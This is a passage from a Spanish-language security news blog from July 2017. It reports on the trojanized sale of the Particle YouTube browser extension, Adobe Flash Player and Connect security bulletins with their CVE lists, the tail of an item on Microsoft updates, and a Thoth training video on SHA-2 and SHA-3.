  • La también habitual actualización para resolver las vulnerabilidades solucionadas por Adobe en Flash Player en su también boletín periódico. En esta ocasión soluciona tres vulnerabilidades en Adobe Flash Player instalado en Windows y los navegadores Internet Explorer y Edge; correspondientes al boletín APSB17-21 de Adobe.


Más información:

Security Update Guide
https://portal.msrc.microsoft.com/en-us/security-guidance

July 2017 Security Updates
https://portal.msrc.microsoft.com/en-us/security-guidance/releasenotedetail/f2b16606-4945-e711-80dc-000d3a32fc99

Juan José Ruiz

viernes, 14 de julio de 2017

Particle/Youtube+ vendida...y troyanizada


Particle es una extensión para Chrome y Firefox que extiende la funcionalidad de YouTube, y además es muy popular entre sus usuarios, contando con un total de 31.187 hasta la fecha. 


Esta extensión posee una gran cantidad de caracteristicas, entre las que destacan:

  • Desactivar los 60fps
  • Gestionar en qué canales quieres ver anuncios
  • Bloquear canales
  • Permitir reproducir videos en una ventana aparte
Y la lista continúa. Puede verse por completo en el siguiente enlace: https://github.com/ParticleCore/Particle/wiki/Features
Funcionalidad de ventana

El problema surge cuando, sin previo aviso, la extensión es vendida a un tercero. La intención del autor original era desarrollar una nueva extensión que trabajase con el nuevo diseño de YouTube, y no tenía intención de continuar con el desarrollo de la anterior. 

Sin embargo, el nuevo dueño de la extensión introdujo una versión modificada, troyanizando la extensión y poniendo en riesgo a miles de usuarios, que sin previo aviso se vieron afectados. Para infectarlos, se actualizaba con una versión modificada del paquete: https://crx.dam.io/source/crxviewer.html?crx=https://crx.dam.io/files/gobbnicjoijcfndfmmfjnfgldgcnjibl/4.1.9.0.zip 

"but whatever the case could be, anything would have to be disclosed to the users previous to any changes and anything unrelated to the extension features (such as data collection or advertisements, for example) will have to be opt-in by default or acceptable during install/implementation."

El autor original menciona que le ofrecieron poner anuncios en su extensión o venderla, y este puso como condición que los usuarios fueran informados previamente del cambio, como afirma en un extracto de las comunicaciones con el comprador. Sin embargo, esta condición no fue cumplida y quedaron troyanizados sin previo aviso. 

De momento solo la versión de Chrome se ve afectada y no la de Firefox, aunque se recomienda desinstalar inmediatamente cualquiera de ellas.


Fernando Díaz

jueves, 13 de julio de 2017

Actualizaciones para productos Adobe

Adobe ha publicado dos boletines de seguridad para solucionar tres vulnerabilidades en Flash Player y otras tantas en Adobe Connect.


El boletín APSB17-21, dedicado a Adobe Flash Player, soluciona una vulnerabilidad crítica y dos importantes. Son las siguientes:

  • CVE-2017-3080: un error que podría permitir la revelación de información sensible.
  • CVE-2017-3099: una ejecución de código remota, descubierta por Jihui Lu de Tencent KeenLab.
  • CVE-2017-3100: revelación de direcciones de memoria, descubierta por bo13oy en colaboración con Zero Day Initiative de Trend Micro.

Se encuentran afectadas las versiones 26.0.0.131 y anteriores para Windows, Macintosh, Linux y el navegador Chrome, y las versiones 26.0.0.120 y anteriores para los navegadores Edge e Internet Explorer 11.

Adobe ha publicado la versión 26.0.0.137 de Flash Player Desktop Runtime, que soluciona estos problemas de seguridad para los sistemas y versiones afectados.

Por la parte Adobe Connect, el boletín de seguridad APSB17-22 soluciona dos vulnerabilidades importantes y una moderada.

  • CVE-2017-3101: un error en la interfaz de usuario que podría permitir ataques 'clickjacking'. Descubierto por Anas Roubi.
  • CVE-2017-3102 y CVE-2017-3103: errores relacionados con la validación de entradas durante la generación de una página web podrían permitir ataques 'Cross-site scripting'. Han sido descubiertos por Adam Willard de Raytheon Foreground Security y Alexis Laborier, respectivamente.

La versión de Adobe Connect 9.6.2 soluciona estos problemas de seguridad.


Más información:

Security updates available for Flash Player | APSB17-21
https://helpx.adobe.com/security/products/flash-player/apsb17-21.html

Security updates available for Adobe Connect | APSB17-22
https://helpx.adobe.com/security/products/connect/apsb17-22.html


Juan José Ruiz

miércoles, 12 de julio de 2017

Publicada la píldora formativa Thoth 46 "¿Qué son SHA-2 y SHA-3?"

Se ha publicado en el canal YouTube de la UPM la píldora formativa 46 del proyecto Thoth que lleva por título "¿Qué son SHA-2 y SHA-3?". Se trata de la cuarta y última píldora dentro del apartado dedicado a las funciones hash.

MD5 está definitivamente roto y SHA-1 ya no es seguro tras las colisiones encontradas en febrero de 2017. De hecho, el algoritmo SHA-1 que se utilizaba hasta el año 2016 para la firma digital en certificados X.509, desde el 1 de enero de 2017 ha dejado de usarse en todos los navegadores. Como, además, pasarán algunos años hasta que se generalice el uso del nuevo estándar SHA-3, ¿entonces qué hacemos? La solución temporal es usar la familia SHA-2, en sus diferentes versiones.

Píldora Thoth 46 "¿Qué son SHA-2 y SHA-3?"

El proyecto Thoth publica de manera periódica píldoras formativas en seguridad de la información. Pueden ser tratados como complementos formativos basados en el concepto de vídeos cortos (con una duración en torno a los cinco minutos), muy didácticos y sobre temas muy específicos.

Todos los vídeos del proyecto Thoth cuentan con un archivo srt original de subtítulos incluido en YouTube, importante para personas con limitaciones auditivas, así como un archivo podcast mp3 que puede descargarse desde el sitio web, válido en este caso tanto para personas con limitaciones visuales como para quienes deseen realizar solamente la audición de estas lecciones.

Puedes acceder a la documentación en pdf, el podcast en mp3 y también al vídeo de esta nueva píldora y de las 45 píldoras anteriores, desde la página web del Proyecto Thoth, que te permite además una búsqueda mediante los siguientes cinco filtros:
1) Fundamentos de seguridad
2) Criptografía clásica
3) Historia de la criptografía
4) Matemáticas en criptografía
5) Criptografía moderna

Como siempre, quedamos a la espera de tus comentarios en YouTube, muy importantes y necesarios para la supervivencia de este proyecto de formación y difusión masiva y gratuita.

La próxima entrega del proyecto Thoth será la píldora número 47 de título "¿Qué es la esteganografía?", siendo autor del guión el Dr. Alfonso Muñoz Muñoz.


Jorge Ramió, Alfonso Muñoz
Directores Proyecto Thoth